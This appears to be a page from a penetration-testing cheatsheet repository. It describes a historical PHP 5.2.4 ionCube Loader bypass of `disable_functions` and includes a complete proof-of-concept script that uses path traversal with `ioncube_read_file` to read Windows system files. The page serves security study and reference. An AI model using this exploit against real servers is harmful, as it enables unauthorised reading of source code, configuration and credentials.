repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
disable-functions-php-5-2-4-ioncube-extension-exploit.mdMarkdown51 lines2.5 KiBrendered raw download
---
title: "PHP 5.2.4 ionCube Extension File-Read Bypass"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---

# PHP 5.2.4 ionCube Extension File-Read Bypass

This historical proof of concept, credited to shinnai, targeted PHP 5.2.4 with ionCube Loader 6.5 on Windows. Even when `readfile` and `ioncube_read_file` were listed in `disable_functions`, the extension's file-reading function could be used to retrieve files outside the intended restriction. The original report was tested with `ioncube_loader_win_5.2.dll`; do not generalize the result to other PHP or ionCube versions without verification.<sup>[[1]](#references)[[2]](#references)</sup>

The impact is an arbitrary file read in the PHP process context, which can expose PHP source, configuration files, or stored credentials. The original advisory also highlighted the extension's `ioncube_write_file` function as an additional surface, although this proof of concept demonstrates only the read primitive.<sup>[[1]](#references)</sup>

```php
<?php
/*
 * PHP 5.2.4 / ionCube Loader 6.5 historical proof of concept.
 * Original author: shinnai
 * Original environment: Windows XP Professional SP2, CLI and Apache.
 * php.ini:
 *   safe_mode = On
 *   disable_functions = ioncube_read_file, readfile
 */

if (!extension_loaded('ionCube Loader')) {
    die('ionCube Loader extension required!');
}

$path = str_repeat('..\\', 20);

// Baseline call expected to be blocked by disable_functions.
$readfileOutput = readfile($path . 'windows\\system.ini');

// Historical bypass through the extension function.
$ioncubeOutput = ioncube_read_file($path . 'boot.ini');

echo $readfileOutput;
echo '<br><br>ionCube output:<br><br>';
echo $ioncubeOutput;
?>
```

## References

- [1] [Exploit-DB 4517 - PHP 5.2.4 ionCube `ioncube_read_file` safe-mode/`disable_functions` bypass](https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/windows/local/4517.php)
- [2] [shinnai's historical security-research site](http://shinnai.altervista.org/)